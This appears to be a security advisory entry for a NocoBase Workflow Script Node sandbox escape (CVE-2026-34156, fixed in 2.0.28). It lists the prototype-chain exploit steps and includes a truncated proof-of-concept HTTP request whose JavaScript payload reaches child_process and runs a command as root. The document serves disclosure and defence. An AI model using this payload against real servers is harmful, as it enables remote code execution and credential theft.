EUVD-2026-278776

fkie_cve-2026-34156

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28, NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution as root. This issue has been patched in version 2.0.28.

GHSA-px3p-vgh9-m57c — NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node

Affected: npm: @nocobase/plugin-workflow-javascript

`##` Summary

NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js `vm` sandbox with a custom `require` allowlist (controlled by `WORKFLOW_SCRIPT_MODULES` env var). However, the `console` object passed into the sandbox context exposes host-realm `WritableWorkerStdio` stream objects via `console._stdout` and `console._stderr`.

An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.

## Exploit Chain

1. `console._stdout.constructor.constructor` → host-realm `Function` constructor 2. `Function('return process')()` → Node.js `process` object 3. `process.mainModule.require('child_process')` → unrestricted module loading 4. `child_process.execSync('id')` → RCE as root

This completely bypasses the `customRequire` allowlist.

## Impact

- Remote Code Execution as root (uid=0) inside Docker container - Database credential theft (`DB_PASSWORD`, `INIT_ROOT_PASSWORD` from `process.env`) - Arbitrary file read/write via `require('fs')` - Reverse shell confirmed - Outbound network access for lateral movement

## Proof of Concept

**HTTP Request:**

POST /api/flow_nodes:test Authorization: Bearer <JWT_TOKEN> Content-Type: application/json

{ "type": "script", "config": { "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();", "timeout": 5000…

Most recent entries from all

EUVD-2026-278776

fkie_cve-2026-34156

GHSA-px3p-vgh9-m57c — NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node